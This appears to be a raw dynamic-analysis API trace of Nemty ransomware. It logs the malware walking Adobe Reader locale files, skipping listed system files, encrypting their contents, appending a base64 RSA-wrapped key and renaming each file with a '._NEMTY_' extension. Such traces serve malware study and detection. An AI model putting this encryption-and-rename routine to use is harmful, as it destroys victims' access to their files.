[0177.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.913] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun._nemty_kgobjgd_")) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.914] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.HUN", cAlternateFileName="BRDLAN~1.HUN")) returned 1 [0177.914] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2=".") returned 1 [0177.914] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="..") returned 1 [0177.914] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="...") returned 1 [0177.914] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="windows") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="rsa") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="NTDETECT.COM") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="ntldr") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="MSDOS.SYS") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="IO.SYS") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="boot.ini") returned 1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="boot.ini") returned 1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="ntuser.dat") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="desktop.ini") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="CONFIG.SYS") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="RECYCLER") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="BOOTSECT.BAK") returned 1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="bootmgr") returned 1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="programdata") returned -1 [0177.915] lstrcmpiW (lpString1="BRdlang32.HUN", lpString2="appdata") returned 1 [0177.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HUN", lpUsedDefaultChar=0x0) returned 13 [0177.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HUN", lpUsedDefaultChar=0x0) returned 13 [0177.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HUN", lpUsedDefaultChar=0x0) returned 13 [0177.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HUN", lpUsedDefaultChar=0x0) returned 13 [0177.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.916] Sleep (dwMilliseconds=0x5) [0177.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1db3c7f0, dwHighDateTime=0x1d561e8)) [0177.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1db3c7f0, dwHighDateTime=0x1d561e8)) [0177.931] GetLastError () returned 0x0 [0177.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.931] GetLastError () returned 0x0 [0177.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.932] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.932] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="qq9BBd8clIuU53Q7PsC6E1+4wgwkIN9wtf4P99WeOffZCAGLpBkkhLO3B7IBLgph\r\ntZSR+7qBl2udNggwCVdoRBn+6qPIdx8OlPJbeZ6OeMWxq4ZQmXIH2eShRb71h7tF\r\nTC44Gbtt62R2eN/usAFD9jIqTetMV7rh11kIQQQ0SeeavJiorJLVFkXk7NLFm8Rl\r\niMvoO3HTbbpDErVAdLxwE54Vz/+e5JbC6kH9lTx2O5yPj6g0OytgwuXjTwoOGmpY\r\nlA0gkpXSZ3rpfLencE4DghMJHLGs56VawPuCRJKiIXig9u5XffYJVBFCy/1uqBph\r\nZzJ+98ds+/MjY0+0gulvnA==\r\n", pcchString=0x653e5dc) returned 1 [0177.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\BRdlang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\brdlang32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.933] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0177.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0177.933] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.933] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0177.936] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.936] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0177.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.936] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0177.936] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.936] CloseHandle (hObject=0x2e8) returned 1 [0177.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.936] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\BRdlang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\brdlang32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\BRdlang32.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\brdlang32.hun._nemty_kgobjgd_")) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.937] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.HUN", cAlternateFileName="")) returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2=".") returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="..") returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="...") returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="windows") returned -1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="rsa") returned -1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="NTDETECT.COM") returned -1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="ntldr") returned -1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="MSDOS.SYS") returned -1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="IO.SYS") returned -1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="boot.ini") returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="boot.ini") returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="ntuser.dat") returned -1 [0177.937] lstrcmpiW (lpString1="Checkers.HUN", lpString2="desktop.ini") returned -1 [0177.938] lstrcmpiW (lpString1="Checkers.HUN", lpString2="CONFIG.SYS") returned -1 [0177.938] lstrcmpiW (lpString1="Checkers.HUN", lpString2="RECYCLER") returned -1 [0177.938] lstrcmpiW (lpString1="Checkers.HUN", lpString2="BOOTSECT.BAK") returned 1 [0177.938] lstrcmpiW (lpString1="Checkers.HUN", lpString2="bootmgr") returned 1 [0177.938] lstrcmpiW (lpString1="Checkers.HUN", lpString2="programdata") returned -1 [0177.938] lstrcmpiW (lpString1="Checkers.HUN", lpString2="appdata") returned 1 [0177.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.938] Sleep (dwMilliseconds=0x5) [0177.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1db62950, dwHighDateTime=0x1d561e8)) [0177.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1db62950, dwHighDateTime=0x1d561e8)) [0177.947] GetLastError () returned 0x0 [0177.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.947] GetLastError () returned 0x0 [0177.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.947] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.947] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.947] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.947] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ir6q1Kn8db7P0kkkHW0/y+0+4tFnd8uMrr8EmxakB+qvG2f0+WpBa15hqI3m3w8T\r\nQh0kx3iNCJpPFu6YZxXE7uWSkgQphTo4WQHFcgRkyu0kJACvg2RYkoctBSQgxMTN\r\nAK81+b+aim+Qjg6TClw5WpI+2HylbjI8NMXhxLrx3vi+GGev39QWscSBgDf4T7M9\r\n4DtiMDC/NEgH5mzv6BnLjxsP/46M4eRAgduuwYWjnuyccN6JLs7vzXaH3hIOf7lz\r\nM1TgzXz5TkKOAtMp4B4e/Kt9Tk4cOZVOE7NvcPpYlo9S/bDBSfBp9/NVOS2ECoMZ\r\n16SVlICs1qw/XCwpbzRQIg==\r\n", pcchString=0x653e5dc) returned 1 [0177.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Checkers.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\checkers.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.949] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=128512) returned 1 [0177.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.949] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.949] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.958] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.958] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 